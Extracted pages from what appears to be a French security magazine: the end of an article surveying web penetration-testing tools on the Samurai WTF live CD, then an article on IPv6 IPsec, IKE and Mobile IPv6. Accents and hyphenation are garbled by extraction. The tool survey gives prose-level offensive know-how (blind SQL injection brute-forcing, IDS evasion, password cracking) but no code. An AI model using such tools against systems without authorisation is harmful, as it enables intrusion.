parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

